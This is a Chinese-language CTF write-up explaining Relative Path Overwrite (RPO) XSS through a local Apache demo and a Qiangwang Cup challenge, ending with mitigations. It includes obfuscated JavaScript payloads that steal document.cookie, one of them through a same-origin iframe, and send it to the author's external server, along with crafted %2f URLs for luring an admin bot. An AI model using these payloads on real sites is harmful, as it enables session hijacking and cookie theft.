一种新的XSS攻击手法 以强网杯中的一道Web题为例做解析

前言

RPO(Relative Path Overwrite)攻击,原理一句话概括就是利用服务器和客户端浏览器对当前网址不同的解析导致的。 # 本地演示 我们搭建本地环境来演示一下这个攻击,来一个比较直观的感官认识 首先我们的目录结构是这样的 pro │ 1.php │ common.js ├─ bbb │ common.js 在/pro目录下的common.js中是弹一个common function的窗

而/pro/bbb目录下的common.js中是弹一个Evil function的窗,代表这是一个我们可控的界面,然后写了个恶意的js脚本 然后我们在1.php中引用了../../common.js

需要注意的是,我们在.htaccess中rewrite了1.php地址 当我们访问

http://localhost/pro/1.php/test/1234

就相当于访问

http://localhost/pro/1.php?user=test&id=1234

这个在.htaccess里面很好实现,就是简化了传参方式,作用就是直观和简洁 访问在这个网址就会调用../../common.js

http://localhost/pro/1.php/test/1234/../../common.js => http://localhost/pro/tecommon.js

弹出了common function

一切看起来很正常,但是当我们输入这样的地址时

http://localhost/pro/1.php/test%2f1234

php解释器依旧正常解析,然而客户端的浏览器就出现问题了,它现在调用../../common.js却是在请求http://localhost/common.js 很容易我们可以意识到一个问题,服务器和浏览器对网址的解析出现了差异 服务器对地址

http://localhost/pro/1.php/test%2f1234

能解码成

http://localhost/pro/1.php/test/1234

然后正常访问,但是在客户端的浏览器却无法识别%2f而是把test%2f1234当成了一个层次目录里面的文件而不是test/1234这样的跨层次目录结构 所以浏览器会将 http://localhost/pro/1.php/test%2f1234/../../common.js 解释成http://localhost/common.js 总的来说,浏览器并不能识别%2f,并不把它当成分割目录的符号而是把它当成一个普通的没有任何特殊意义的字符,但是服务器却能识别 所以我们尝试输入这样的地址

http://localhost/pro/bbb/..%2f1.php/test/123

http://localhost/pro/bbb/..%2f1.php/test/123 => http://localhost/pro/1.php/test/123

服务器正常访问而对于浏览器来说,引用../../common.js却是这样的 http://localhost/pro/bbb/..%2f1.php/test/123/../../common.js 然后就访问了http://localhost/pro/bbb/common.js,然后执行了里面的JS代码

对于.CSS等静态文件也是一样的原理(css里面用expression也可以执行一些敏感操作) 对此我们可以执行任意可控的静态页面(反过来我们也可以将动态页面当静态页面获取源码) ## Apache配置 1.打开Apache 的 mod_rewrite模块

在httpd.conf中去掉注释LoadModule rewrite_module modules/mod_rewrite.so的#即可 2.在httpd.conf中网站目录下的把AllowOverride none改为AllowOverride All 3.在httpd.conf末尾加上AllowEncodedSlashes On这句,表示允许在地址中%2f / \等斜杠 4.在网站根目录下创建.htaccess文件,内容如下:

<ifmodule mod_rewrite.c>
RewriteEngine  On   /*开启重写引擎*/
RewriteCond  匹配条件
RewriteRule 匹配规则
</ifmodule>

以CTF题为例

我们现在以强网杯中的一道XSS题为例,演示RPO攻击 首先进去是一个登陆的界面

随便注册个账号进去,发现了一个留言板和一个提交网址的界面

玩过XSS的同学都知道这个验证码预示着啥 于是我将大量时间研究这里,直到出现了第二个Hint

确实有点气 分析一下 index.php部分明显用了重写如地址http://39.107.33.96:20000/index.php/view/article/1729应该等于http://39.107.33.96:20000/index.php?mod=view&type=article&id=1729 + 在write article的地方应该使用了htmlspecialchars()函数转义了<>'"等符号 + 在report界面我们可以提交本地的url给管理员点击访问 + index.php用相对路径引用了 static/js/jquery.min.jsstatic/js/index.js 我们尝试一下随便写个12345进article 然后访问地址http://39.107.33.96:20000/index.php/view/article/1729

当我们在这个地址后面随便加点东西时:

http://39.107.33.96:20000/index.php/view/article/1729/12rfv1g/sfw2ghvneov/cfv32jvnniob

仍然解析正确 我们可以理解为后面乱输入的几个参数并没有对应代码处理,也就被忽略了,前面几个参数则正确处理,显示了正确的文章 如访问一个网站http://www.wzsite.cn?name=test&age=666,然而站点里面并没有nameage对应参数处理,但是服务依旧会正常执行 是不是很熟悉? 对的,就是RPO攻击 我们基本确定思路为: 1. 在article里面构造js代码,单、双引号可以用函数String.fromCharCode()以及反引号加上\u0022等unicode绕过 2. 然后利用RPO攻击计较畸形的url给他点击,然后将article里面的静态文本当成js代码执行

我们首先构造这样的一个payload,绕过对尖括号和单双引号的转义:

(new Image()).src = String.fromCharCode(104, 116, 116, 112, 58, 47, 47, 119, 119, 119, 46, 119, 122, 115, 105, 116, 101, 46, 99, 110, 58, 50, 53, 48, 49, 63, 99, 111, 111, 61)+btoa(document.cookie);

大意就是new一个image,然后设置src=http://my_VPS:port?coo=+bbtoa(document.cookie),btoa()是base64编码

将在article里面写入payload,得到如下 http://39.107.33.96:20000/index.php/view/article/1546 然后我们在VPS打开2501端口侦听(当然你也可以放到xss平台) 随后我们测试一下,访问地址

http://39.107.33.96:20000/index.php/view/article/1546/..%2f..%2f..%2f..%2findex.php

发现我们的vps的2501端口接受到了请求:

这是因为当我们访问地址http://39.107.33.96:20000/index.php/view/article/1546/..%2f..%2f..%2f..%2findex.php 对于服务器来说我们访问的是 http://39.107.33.96:20000/index.php/view/article/1546/..%2f..%2f..%2f..%2findex.php 然后我们客户端的浏览器却认为/..%2f..%2f..%2f..%2f是同一层目录的,所以在调用/static/js/jquery.min.js的时候其实会去请求地址

http://39.107.33.96:20000/index.php/view/article/1546/static/js/jquery.min.js

而对于重写的url来说只是传多了staticjsjquery.min.js几个参数,依然返回的是这个地址的内容

http://39.107.33.96:20000/index.php/view/article/1546

然后浏览器会将返回的内容当JS代码进行解析执行,向我的服务器2501端口发送带cookie的请求 所以现在我们将这个畸形的地址发给admin访问就能获取到cookie了 此外那个验证码自己用python写个脚本碰撞一下就好了,我的做法是事先生成一个一一对应的类似于字典的东西,然后每次只需要读文件而不需要重新计算,会快很多,拿空间换时间嘛 提交之后我们的vps就会收到请求了

所以我们base64解码一下传回来的coo

就会发现一个hint,叫我们去读取/QWB_fl4g/QWB/下的cookie 那么我们需要用iframe进行同域cookie读取,payload如下:

var iframe = document.createElement(String.fromCharCode(105, 102, 114, 97, 109, 101));//create一个iframe
iframe.name=String.fromCharCode(84, 101, 115, 116, 122, 101, 114, 111);//命名为Testzero
iframe.src=String.fromCharCode(104, 116, 116, 112, 58, 47, 47, 51, 57, 46, 49, 48, 55, 46, 51, 51, 46, 57, 54, 58, 50, 48, 48, 48, 48, 47, 81, 87, 66, 95, 102, 108, 52, 103, 47, 81, 87, 66, 47);//设置iframe的src为http://39.107.33.96:20000/QWB_fl4g/QWB/
document.body.appendChild(iframe);//append iframe
//当iframe加载好之后将执行一个函数,函数的作用是将当前网址转向http://my_vps:2501?coo=iframe的cookie
iframe.onload = function(){location.href=String.fromCharCode(104, 116, 116, 112, 58, 47, 47, 119, 119, 119, 46, 119, 122, 115, 105, 116, 101, 46, 99, 110, 58, 50, 53, 48, 49, 63, 99, 111, 111, 107, 105, 101, 61)+btoa(Testzero.window.document.cookie);}

然后一样写进article,然后再将对应的畸形url report给admin,就可以收到flag了 唯一需要注意的是写js的payload的时候需要等iframe加载完毕之后再跳转,不然带不出flag

echo ZmxhZz1RV0IlN0JmbGFnX2lzX2Y0M2t0aDRycG8lN0Q7IJTlQ9VHJ5IHRvIGdldCB0aGUgY29va2llIG9mIHBhdGggIi9RV0JfZmw0Zy9RV0IvIg== | base64 -d
flag=QWB%7Bflag_is_f43kth4rpo%7D; HINT=Try to get the cookie of path "/QWB_fl4g/QWB/"

获得flag QWB{flag_is_f43kth4rpo} ### RPO 解决方案 + 不用相对路径,用绝对路径 + 不允许%2f等存在在url里面,如关闭AllowEncodedSlashes(Ngnix也存在该问题)

最后说一句

这位文章的师傅说的很对Pwnhub大物必须过Writeup 一遍打比赛一遍学姿势,给做题人方向上的引导,引发思考,这才是一道好题所需要做的 想想之前一些盗题的、脑洞的、考毫无意义的知识的比赛,这个题真的让人如浴春风

感谢阅读

参考链接:

RPO攻击技术浅析 - http://blog.nsfocus.net/rpo-attack/ 深入剖析RPO漏洞 - https://xz.aliyun.com/t/2220 Pwnhub大物必须过Writeup - http://www.qingpingshan.com/pc/aq/240597.html 链接包含”%2F”导致mod_rewrite失效 - http://www.ideawu.net/blog/archives/494.html Apache用mod_rewrite配置子域名 - http://www.ideawu.net/blog/archives/618.html